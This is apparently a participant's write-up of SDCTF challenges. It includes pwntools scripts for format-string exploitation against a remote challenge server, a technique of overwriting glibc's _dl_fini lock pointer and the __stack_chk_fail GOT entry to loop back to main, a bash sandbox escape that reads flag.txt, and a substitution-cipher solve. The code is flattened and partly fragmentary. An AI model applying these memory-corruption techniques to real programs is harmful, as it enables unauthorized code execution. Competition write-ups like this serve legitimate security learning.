I was so excited to participate in my first SDCTF event as an incoming student of UC San Diego. :-) It was a great opportunity to learn new skills, meet awesome people and have fun solving challenges. I really enjoyed the experience and I can’t wait for the next one!
if ( v6 > 0x3E8 ) { printf( "wow you've printed money out of thin air, you have %u!!! Is there anything you would like to say to the audience?\n", v6); fgets(format, 100, stdin); printf("wow you said: "); printf(format); puts("\nthat's truly fascinating!"); exit(0); }
v6 is unsigned int but all check against v4 is signed operation, so we can bypass the check with negative number.
Then use the format string to leak flag.
1 2 3 4 5 6 7 8 9
from pwn import *
sh = process("./money-printer") sh = remote("money.sdc.tf", 1337) tob = lambda x: str(x).encode()
arr = [0x22c3260,0x34647b6674636473,0x665f7530795f6e6d,0x435f345f446e7530,0x304d345f597a3472,0x4d5f66305f374e75,0x79336e30] for i in arr: # convert to string # print(bytes.fromhex(hex(i)[2:]).decode('utf-8'), end='') print(p64(i).decode(), end="")
money-printer2
I didn’t manage to brute force the address before the CTF ended, but I still want to note down the solution.
Notice that there are some residual address on the stack
void _dl_fini (void) { /* Lots of fun ahead. We have to call the destructors for all still loaded objects, in all namespaces. The problem is that the ELF specification now demands that dependencies between the modules are taken into account. I.e., the destructor for a module is called before the ones for any of its dependencies. To make things more complicated, we cannot simply use the reverse order of the constructors. Since the user might have loaded objects using `dlopen' there are possibly several other modules with its dependencies to be taken into account. Therefore we have to start determining the order of the modules once again from the beginning. */
/* We run the destructors of the main namespaces last. As for the other namespaces, we pick run the destructors in them in reverse order of the namespace ID. */ #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock));
unsignedint nloaded = GL(dl_ns)[ns]._ns_nloaded; /* No need to do anything for empty namespaces or those used for auditing DSOs. */ if (nloaded == 0 #ifdef SHARED || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit #endif ) __rtld_lock_unlock_recursive (GL(dl_load_lock)); // ......... } // ......... // ......... // ......... // ......... // ......... }
_dl_fini() will be registered by _cxa_atexit in __libc_start_main(). And _dl_fini() will be called by __run_exit_handlers() when the program exits. And rtld_lock_default_lock_recursive will be called by _dl_fini(). So if we overwrite this field, we can jump back to main when the program exits. Then turn the challenge into a normal format string challenge.
i = 0 #context.log_level = 'debug' # sh = hack(False) # sh.interactive() whileTrue: print("{}".format(i)) i += 1 try: sh = hack(sys.argv[2] == 'debug') except EOFError: print("Failed") else: print("Success") dt = sh.recvuntil(b'}') withopen("getflag.txt", "wb") as f: f.write(dt) sh.interactive() exit(0)
Canary
There are also some residual stack pointers on the stack. We can partially overwrite them and make them point to the canary. Then overwrite the GOT entry of __stack_chk_fail to main and turn the challenge into a normal format string challenge.
printf("Guess a number from 0 to %u in %u guesses:\n", max, num_guesses); while(num_guesses > 0) { if (num_guesses != NUM_GUESS) { printf("Next Guess (%u left):\n", num_guesses); } fflush(stdout); unsignedint guess = 0; scanf("%u",&guess); if (guess == secret) { printf("Congrats, you won!\n"); return0; } if (secret < guess) { printf("Number is lower! "); } else { printf("Number is higher! "); } fflush(stdout); num_guesses--; } printf("You ran out of guesses :(\n"); return0; }
#define SduBPZpheWz
Fork bomb protector
Use the built-in command to read the flag.
1 2 3 4 5
echo * while read -r data; do echo "$data"; done < "flag.txt";
Crypto
Jumbled snake
First, recover the key with the_quick_brown_fox_jumps_over_the_lazy_dog
By regex matching, we can find the pattern easily.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
import re if __name__ == "__main__": match = None withopen ('print_flag.py.enc', 'r') as f: code = f.read() print(code) charset = string.printable for I in charset: # find pattern xxxIxxxxxIxxxxxIxxxIxxxxxIxxxxIxxxIxxxxIxxx # I is a printable character # x is arbitrary character regex = '...'+I+'.....'+I+'.....'+I+'...'+I+'.....'+I+'....'+I+'...'+I+'....'+I+'...' match = re.search(regex, code) if match: print(match) print(I) print(match) # get the matched string break
Now recover the key with __doc__
1 2 3 4 5 6 7 8 9 10 11 12 13
origin = "the_quick_brown_fox_jumps_over_the_lazy_dog" encoded = match.group() span = match.span() key = {} for i inrange(len(origin)): key[encoded[i]] = origin[i] withopen('print_flag.py.enc', 'r') as f: e = f.read() encoded = "': 123456789.0, 'items':[]}" i = 0 while i < len(encoded): key[e[i+span[1]]] = encoded[i] i+=1
defget_rand_key(charset: str = string.printable): chars_left = list(charset) key = {} for char in charset: val = secrets.choice(chars_left) chars_left.remove(val) key[char] = val assertnot chars_left return key
defsubs(msg: str, key) -> str: return''.join(key[c] for c in msg)
# 3 5 5 3 5 4 3 4 3 import re if __name__ == "__main__": match = None withopen ('print_flag.py.enc', 'r') as f: code = f.read() print(code) charset = string.printable for I in charset: # find pattern xxxIxxxxxIxxxxxIxxxIxxxxxIxxxxIxxxIxxxxIxxx # I is a printable character # x is arbitrary character regex = '...'+I+'.....'+I+'.....'+I+'...'+I+'.....'+I+'....'+I+'...'+I+'....'+I+'...' match = re.search(regex, code) if match and I == 'X': print(match) print(I) print(match) # get the matched string break print("found") origin = "the_quick_brown_fox_jumps_over_the_lazy_dog" encoded = match.group() span = match.span() key = {} for i inrange(len(origin)): key[encoded[i]] = origin[i] withopen('print_flag.py.enc', 'r') as f: e = f.read() encoded = "': 123456789.0, 'items':[]}" i = 0 while i < len(encoded): key[e[i+span[1]]] = encoded[i] i+=1 key['y'] = '{' key[']'] = '"' key['b'] = '\n' key['J'] = '=' key['^'] = '(' key['g'] = ')' key['.'] = '#' key['='] = '!' print(key, len(key), len(string.printable)) data = "" origin = "{'the_quick_brown_fox_jumps_over_the_lazy_dog':" check_doc = """F+ _f5}I_7|0_17s+_B&N)K_n+(_,O+1q_CQ*)`_7|0""" check_doc = list(reversed(check_doc)) origin_upper = origin.upper()[2:45]
for i inrange(len(origin_upper)): if check_doc[i] notin key: key[check_doc[i]] = origin_upper[i] print("check doc len={}".format(len(check_doc))) withopen('print_flag.py.enc', 'r') as f: e = f.read() for c in e: if c in key: data += key[c] else: data += c print(data)
Notice that pseudorandom(self, msg) will decrypt the msg after XOR with 0xff. So by XORing the first part of the returned strings of pseudorandom(self, msg) we can recover the msg sent by us if it is a pseudorandom door.